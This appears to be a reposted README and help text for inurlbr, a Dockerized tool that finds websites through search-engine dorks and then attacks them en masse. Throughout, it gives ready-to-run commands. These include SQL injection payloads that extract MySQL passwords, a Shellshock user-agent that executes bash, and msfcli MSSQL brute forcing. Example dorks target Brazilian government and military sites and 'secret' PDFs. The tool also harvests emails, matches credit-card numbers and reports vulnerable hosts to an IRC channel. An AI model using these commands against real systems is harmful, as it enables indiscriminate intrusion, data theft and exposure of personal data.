Docker-Inurlbr – Advanced Search In Search Engines, Enables Analysis Provided To Exploit GET / POST Capturing Emails & Urls

Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.How to buildgit clone https://github.com/gmdutra/docker-inurlbr.gitcd docker-inurlbrdocker build -t gmdutra/inurlbr .Rundocker run –name inurlbr -it -d gmdutra/inurlbrHELP:-h–help Alternative long length help command.–ajuda Command to specify Help.–info Information script.–update Code update. -q Choose which search engine you want through [1…24] / [e1..6]]: [options]: 1 – GOOGLE / (CSE) GENERIC RANDOM / API 2 – BING 3 – YAHOO BR 4 – ASK 5 – HAO123 BR 6 – GOOGLE (API) 7 – LYCOS 8 – UOL BR 9 – YAHOO US 10 – SAPO 11 – DMOZ 12 – GIGABLAST 13 – NEVER 14 – BAIDU BR 15 – YANDEX 16 – ZOO 17 – HOTBOT 18 – ZHONGSOU 19 – HKSEARCH 20 – EZILION 21 – SOGOU 22 – DUCK DUCK GO 23 – BOOROW 24 – GOOGLE(CSE) GENERIC RANDOM —————————————- SPECIAL MOTORS —————————————- e1 – TOR FIND e2 – ELEPHANT e3 – TORSEARCH e4 – WIKILEAKS e5 – OTN e6 – EXPLOITS SHODAN —————————————- all – All search engines / not special motors Default: 1 Example: -q {op} Usage: -q 1 -q 5 Using more than one engine: -q 1,2,5,6,11,24 Using all engines: -q all –proxy Choose which proxy you want to use through the search engine: Example: –proxy {proxy:port} Usage: –proxy localhost:8118 –proxy socks5://googleinurl@localhost:9050 –proxy http://admin:12334@172.16.0.90:8080 –proxy-file Set font file to randomize your proxy to each search engine. Example: –proxy-file {proxys} Usage: –proxy-file proxys_list.txt –time-proxy Set the time how often the proxy will be exchanged. Example: –time-proxy {second} Usage: –time-proxy 10 –proxy-http-file Set file with urls http proxy, are used to bular capch search engines Example: –proxy-http-file {youfilehttp} Usage: –proxy-http-file http_proxys.txt –tor-random Enables the TOR function, each usage links an unique IP. -t Choose the validation type: op 1, 2, 3, 4, 5 [options]: 1 – The first type uses default errors considering the script: It establishes connection with the exploit through the get method. Demo: www.alvo.com.br/pasta/index.php?id={exploit} 2 – The second type tries to valid the error defined by: -a=’VALUE_INSIDE_THE _TARGET’ It also establishes connection with the exploit through the get method Demo: www.alvo.com.br/pasta/index.php?id={exploit} 3 – The third type combine both first and second types: Then, of course, it also establishes connection with the exploit through the get method Demo: www.target.com.br{exploit} Default: 1 Example: -t {op} Usage: -t 1 4 – The fourth type a validation based on source file and will be enabled scanner standard functions. The source file their values are concatenated with target url. – Set your target with command –target {http://target} – Set your file with command -o {file} Explicative: Source file values: /admin/index.php?id= /pag/index.php?id= /brazil.php?new= Demo: www.target.com.br/admin/index.php?id={exploit} www.target.com.br/pag/index.php?id={exploit} www.target.com.br/brazil.php?new={exploit} 5 – (FIND PAGE) The fifth type of validation based on the source file, Will be enabled only one validation code 200 on the target server, or if the url submit such code will be considered vulnerable. – Set your target with command –target {http://target} – Set your file with command -o {file} Explicative: Source file values: /admin/admin.php /admin.asp /admin.aspx Demo: www.target.com.br/admin/admin.php www.target.com.br/admin.asp www.target.com.br/admin.aspx Observation: If it shows the code 200 will be separated in the output file DEFAULT ERRORS: [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL, [*]ZEND FRAMEWORK, [*]ERROR MARIADB, [*]ERROR MYSQL, [*]ERROR JBOSSWEB, [*]ERROR MICROSOFT, [*]ERROR ODBC, [*]ERROR POSTGRESQL, [*]ERROR JAVA INFINITYDB, [*]ERROR PHP, [*]CMS WORDPRESS, [*]SHELL WEB, [*]ERROR JDBC, [*]ERROR ASP, [*]ERROR ORACLE, [*]ERROR DB2, [*]JDBC CFM, [*]ERROS LUA, [*]ERROR INDEFINITE –dork Defines which dork the search engine will use. Example: –dork {dork} Usage: –dork ‘site:.gov.br inurl:php? id’ – Using multiples dorks: Example: –dork {[DORK]dork1[DORK]dork2[DORK]dork3} Usage: –dork ‘[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp’ –dork-file Set font file with your search dorks. Example: –dork-file {dork_file} Usage: –dork-file ‘dorks.txt’ –exploit-get Defines which exploit will be injected through the GET method to each URL found. Example: –exploit-get {exploit_get} Usage: –exploit-get “?’´%270×27;" –exploit-post Defines which exploit will be injected through the POST method to each URL found. Example: –exploit-post {exploit_post} Usage: –exploit-post ‘field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok’ –exploit-command Defines which exploit/parameter will be executed in the options: –command-vul/ –command-all. The exploit-command will be identified by the paramaters: –command-vul/ –command-all as _EXPLOIT_ Ex –exploit-command ‘/admin/config.conf’ –command-all ‘curl -v _TARGET__EXPLOIT_’ _TARGET_ is the specified URL/TARGET obtained by the process _EXPLOIT_ is the exploit/parameter defined by the option –exploit-command. Example: –exploit-command {exploit-command} Usage: –exploit-command ‘/admin/config.conf’ -a Specify the string that will be used on the search script: Example: -a {string} Usage: -a ‘hello world</title>’ -d Specify the script usage op 1, 2, 3, 4, 5. Example: -d {op} Usage: -d 1 /URL of the search engine. -d 2 /Show all the url. -d 3 /Detailed request of every URL. -d 4 /Shows the HTML of every URL. -d 5 /Detailed request of all URLs. -d 6 /Detailed PING – PONG irc. -s Specify the output file where it will be saved the vulnerable URLs. Example: -s {file} Usage: -s your_file.txt -o Manually manage the vulnerable URLs you want to use from a file, without using a search engine. Example: -o {file_where_my_urls_are} Usage: -o tests.txt –persist Attempts when Google blocks your search. The script tries to another google host / default = 4 Example: –persist {number_attempts} Usage: –persist 7 –ifredirect Return validation method post REDIRECT_URL Example: –ifredirect {string_validation} Usage: –ifredirect ‘/admin/painel.php’ -m Enable the search for emails on the urls specified. -u Enables the search for URL lists on the url specified. –gc Enable validation of values ​​with google webcache. –pr Progressive scan, used to set operators (dorks), makes the search of a dork and valid results, then goes a dork at a time. –file-cookie Open cookie file. –save-as Save results in a certain place. –shellshock Explore shellshock vulnerability by setting a malicious user-agent. –popup Run –command all or vuln in a parallel terminal. –cms-check Enable simple check if the url / target is using CMS. –no-banner Remove the script presentation banner. –unique Filter results in unique domains. –beep Beep sound when a vulnerability is found. –alexa-rank Show alexa positioning in the results. –robots Show values file robots. –range Set range IP. Example: –range {range_start,rage_end} Usage: –range ‘172.16.0.5#172.16.0.255′ –range-rand Set amount of random ips. Example: –range-rand {rand} Usage: –range-rand ’50’ –irc Sending vulnerable to IRC / server channel. Example: –irc {server#channel} Usage: –irc ‘irc.rizon.net#inurlbrasil’ –http-header Set HTTP header. Example: –http-header {youemail} Usage: –http-header ‘HTTP/1.1 401 Unauthorized,WWW-Authenticate: Basic realm="Top Secret"’ –sedmail Sending vulnerable to email. Example: –sedmail {youemail} Usage: –sedmail youemail@inurl.com.br –delay Delay between research processes. Example: –delay {second} Usage: –delay 10 –time-out Timeout to exit the process. Example: –time-out {second} Usage: –time-out 10 –ifurl Filter URLs based on their argument. Example: –ifurl {ifurl} Usage: –ifurl index.php?id= –ifcode Valid results based on your return http code. Example: –ifcode {ifcode} Usage: –ifcode 200 –ifemail Filter E-mails based on their argument. Example: –ifemail {file_where_my_emails_are} Usage: –ifemail sp.gov.br –url-reference Define referring URL in the request to send him against the target. Example: –url-reference {url} Usage: –url-reference http://target.com/admin/user/valid.php –mp Limits the number of pages in the search engines. Example: –mp {limit} Usage: –mp 50 –user-agent Define the user agent used in its request against the target. Example: –user-agent {agent} Usage: –user-agent ‘Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11’ Usage-exploit / SHELLSHOCK: –user-agent ‘() { foo;};echo; /bin/bash -c "expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;"’ Complete command: php inurlbr.php –dork ‘_YOU_DORK_’ -s shellshock.txt –user-agent ‘_YOU_AGENT_XPL_SHELLSHOCK’ -t 2 -a ‘99887766555’ –sall Saves all urls found by the scanner. Example: –sall {file} Usage: –sall your_file.txt –command-vul Every vulnerable URL found will execute this command parameters. Example: –command-vul {command} Usage: –command-vul ‘nmap sV -p 22,80,21 _TARGET_’ –command-vul ‘./exploit.sh _TARGET_ output.txt’ –command-vul ‘php miniexploit.php -t _TARGET_ -s output.txt’ –command-all Use this commmand to specify a single command to EVERY URL found. Example: –command-all {command} Usage: –command-all ‘nmap sV -p 22,80,21 _TARGET_’ –command-all ‘./exploit.sh _TARGET_ output.txt’ –command-all ‘php miniexploit.php -t _TARGET_ -s output.txt’ [!] Observation: _TARGET_ will be replaced by the URL/target found, although if the user doesn’t input the get, only the domain will be executed. _TARGETFULL_ will be replaced by the original URL / target found. _TARGETXPL_ will be replaced by the original URL / target found + EXPLOIT –exploit-get. _TARGETIP_ return of ip URL / target found. _URI_ Back URL set of folders / target found. _RANDOM_ Random strings. _PORT_ Capture port of the current test, within the –port-scan process. _EXPLOIT_ will be replaced by the specified command argument –exploit-command. The exploit-command will be identified by the parameters –command-vul/ –command-all as _EXPLOIT_ –replace Replace values ​​in the target URL. Example: –replace {value_old[INURL]value_new} Usage: –replace ‘index.php?id=[INURL]index.php?id=1666+and+(SELECT+user,Password+from+mysql.user+limit+0,1)=1’ –replace ‘main.php?id=[INURL]main.php?id=1+and+substring(@@version,1,1)=1’ –replace ‘index.aspx?id=[INURL]index.aspx?id=1%27´’ –remove Remove values ​​in the target URL. Example: –remove {string} Usage: –remove ‘/admin.php?id=0’ –regexp Using regular expression to validate his research, the value of the Expression will be sought within the target/URL. Example: –regexp {regular_expression} All Major Credit Cards: Usage: –regexp ‘(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})’ IP Addresses: Usage: –regexp ‘((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))’ EMAIL: Usage: –regexp ‘([\w\d\.\-\_]+)@([\w\d\.\_\-]+)’ —regexp-filter Using regular expression to filter his research, the value of the Expression will be sought within the target/URL. Example: —regexp-filter {regular_expression} EMAIL: Usage: —regexp-filter ‘([\w\d\.\-\_]+)@([\w\d\.\_\-]+)’ [!] Small commands manager: –exploit-cad Command register for use within the scanner. Format {TYPE_EXPLOIT}::{EXPLOIT_COMMAND} Example Format: NMAP::nmap -sV _TARGET_ Example Format: EXPLOIT1::php xpl.php -t _TARGET_ -s output.txt Usage: –exploit-cad ‘NMAP::nmap -sV _TARGET_’ Observation: Each registered command is identified by an id of your array. Commands are logged in exploits.conf file. –exploit-all-id Execute commands, exploits based on id of use, (all) is run for each target found by the engine. Example: –exploit-all-id {id,id} Usage: –exploit-all-id 1,2,8,22 –exploit-vul-id Execute commands, exploits based on id of use, (vull) run command only if the target was considered vulnerable. Example: –exploit-vul-id {id,id} Usage: –exploit-vul-id 1,2,8,22 –exploit-list List all entries command in exploits.conf file. [!] Running subprocesses: –sub-file Subprocess performs an injection strings in URLs found by the engine, via GET or POST. Example: –sub-file {youfile} Usage: –sub-file exploits_get.txt –sub-get defines whether the strings coming from –sub-file will be injected via GET. Usage: –sub-get –sub-post defines whether the strings coming from –sub-file will be injected via POST. Usage: –sub-get –sub-cmd-vul Each vulnerable URL found within the sub-process will execute the parameters of this command. Example: –sub-cmd-vul {command} Usage: –sub-cmd-vul ‘nmap sV -p 22,80,21 _TARGET_’ –sub-cmd-vul ‘./exploit.sh _TARGET_ output.txt’ –sub-cmd-vul ‘php miniexploit.php -t _TARGET_ -s output.txt’ –sub-cmd-all Run command to each target found within the sub-process scope. Example: –sub-cmd-all {command} Usage: –sub-cmd-all ‘nmap sV -p 22,80,21 _TARGET_’ –sub-cmd-all ‘./exploit.sh _TARGET_ output.txt’ –sub-cmd-all ‘php miniexploit.php -t _TARGET_ -s output.txt’ –port-scan Defines ports that will be validated as open. Example: –port-scan {ports} Usage: –port-scan ‘22,21,23,3306’ –port-cmd Define command that runs when finding an open door. Example: –port-cmd {command} Usage: –port-cmd ‘./xpl _TARGETIP_:_PORT_’ –port-cmd ‘./xpl _TARGETIP_/file.php?sqli=1’ –port-write Send values for door. Example: –port-write {‘value0′,’value1′,’value3′} Usage: –port-write "’NICK nk_test’,’USER nk_test 8 * :_ola’,’JOIN #inurlbrasil’,’PRIVMSG #inurlbrasil : minha_msg’" [!] Modifying values used within script parameters: md5 Encrypt values in md5. Example: md5({value}) Usage: md5(102030) Usage: –exploit-get ‘user?id=md5(102030)’ base64 Encrypt values in base64. Example: base64({value}) Usage: base64(102030) Usage: –exploit-get ‘user?id=base64(102030)’ hex Encrypt values in hex. Example: hex({value}) Usage: hex(102030) Usage: –exploit-get ‘user?id=hex(102030)’ Generate random values. Example: random({character_counter}) Usage: random(8) Usage: –exploit-get ‘user?id=random(8)’Simple Commandsdocker exec inurlbr ./inurlbr.php –dork ‘inurl:php?id=’ -s save.txt -q 1,6 -t 1 –exploit-get "?´’%270×27;" docker exec inurlbr ./inurlbr.php –dork ‘inurl:aspx?id=’ -s save.txt -q 1,6 -t 1 –exploit-get "?´’%270×27;" docker exec inurlbr ./inurlbr.php –dork ‘site:br inurl:aspx (id|new)’ -s save.txt -q 1,6 -t 1 –exploit-get "?´’%270×27;" docker exec inurlbr ./inurlbr.php –dork ‘index of wp-content/uploads’ -s save.txt -q 1,6,2,4 -t 2 –exploit-get ‘?’ -a ‘Index of /wp-content/uploads’ docker exec inurlbr ./inurlbr.php –dork ‘site:.mil.br intext:(confidencial) ext:pdf’ -s save.txt -q 1,6 -t 2 –exploit-get ‘?’ -a ‘confidencial’ docker exec inurlbr ./inurlbr.php –dork ‘site:.mil.br intext:(secreto) ext:pdf’ -s save.txt -q 1,6 -t 2 –exploit-get ‘?’ -a ‘secreto’ docker exec inurlbr ./inurlbr.php –dork ‘site:br inurl:aspx (id|new)’ -s save.txt -q 1,6 -t 1 –exploit-get "?´’%270×27;" docker exec inurlbr ./inurlbr.php –dork ‘.new.php?new id’ -s save.txt -q 1,6,7,2,3 -t 1 –exploit-get ‘+UNION+ALL+SELECT+1,concat(0x3A3A4558504C4F49542D5355434553533A3A,@@version),3,4,5;’ -a ‘::EXPLOIT-SUCESS::’ docker exec inurlbr ./inurlbr.php –dork ‘new.php?id=’ -s teste.txt –exploit-get ?´0x27 –command-vul ‘nmap sV -p 22,80,21 _TARGET_’ docker exec inurlbr ./inurlbr.php –dork ‘site:pt inurl:aspx (id|q)’ -s bruteforce.txt –exploit-get ?´0x27 –command-vul ‘msfcli auxiliary/scanner/mssql/mssql_login RHOST=_TARGETIP_ MSSQL_USER=inurlbr MSSQL_PASS_FILE=/home/pedr0/Documentos/passwords E’ docker exec inurlbr ./inurlbr.php –dork ‘site:br inurl:id & inurl:php’ -s get.txt –exploit-get "?´’%270×27;" –command-vul ‘python ../sqlmap/sqlmap.py -u "_TARGETFULL_" –dbs’ docker exec inurlbr ./inurlbr.php –dork ‘inurl:index.php?id=’ -q 1,2,10 –exploit-get "’?´0x27’" -s report.txt –command-vul ‘nmap -Pn -p 1-8080 –script http-enum –open _TARGET_’ docker exec inurlbr ./inurlbr.php –dork ‘site:.gov.br email’ -s reg.txt -q 1 –regexp ‘([\w\d\.\-\_]+)@([\w\d\.\_\-]+)’ docker exec inurlbr ./inurlbr.php –dork ‘site:.gov.br email (gmail|yahoo|hotmail) ext:txt’ -s emails.txt -m docker exec inurlbr ./inurlbr.php –dork ‘site:.gov.br email (gmail|yahoo|hotmail) ext:txt’ -s urls.txt -u docker exec inurlbr ./inurlbr.php –dork ‘site:gov.bo’ -s govs.txt –exploit-all-id 1,2,6 docker exec inurlbr ./inurlbr.php –dork ‘site:.uk’ -s uk.txt –user-agent ‘Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)’ docker exec inurlbr ./inurlbr.php –dork-file ‘dorksSqli.txt’ -s govs.txt –exploit-all-id 1,2,6 docker exec inurlbr ./inurlbr.php –dork-file ‘dorksSqli.txt’ -s sqli.txt –exploit-all-id 1,2,6 –irc ‘irc.rizon.net#inurlbrasil’ docker exec inurlbr ./inurlbr.php –dork ‘inurl:"cgi-bin/login.cgi"’ -s cgi.txt –ifurl ‘cgi’ –command-all ‘php xplCGI.php _TARGET_’ docker exec inurlbr ./inurlbr.php –target ‘http://target.com.br’ -o cancat_file_urls_find.txt -s output.txt -t 4 docker exec inurlbr ./inurlbr.php –target ‘http://target.com.br’ -o cancat_file_urls_find.txt -s output.txt -t 4 –exploit-get "?´’%270×27;" docker exec inurlbr ./inurlbr.php –target ‘http://target.com.br’ -o cancat_file_urls_find.txt -s output.txt -t 4 –exploit-get "?pass=1234" -a ‘<title>hello! admin</title>’ docker exec inurlbr ./inurlbr.php –target ‘http://target.com.br’ -o cancat_file_urls_find_valid_cod-200.txt -s output.txt -t 5 docker exec inurlbr ./inurlbr.php –range ‘200.20.10.1,200.20.10.255’ -s output.txt –command-all ‘php roteador.php _TARGETIP_’ docker exec inurlbr ./inurlbr.php –range-rad ‘1500’ -s output.txt –command-all ‘php roteador.php _TARGETIP_’ docker exec inurlbr ./inurlbr.php –dork-rad ’20’ -s output.txt –exploit-get "?´’%270×27;" -q 1,2,6,4,5,9,7,8 docker exec inurlbr ./inurlbr.php –dork-rad ’20’ -s output.txt –exploit-get "?´’%270×27;" -q 1,2,6,4,5,9,7,8 –pr docker exec inurlbr ./inurlbr.php –dork-file ‘dorksCGI.txt’ -s output.txt -q 1,2,6,4,5,9,7,8 –pr –shellshock docker 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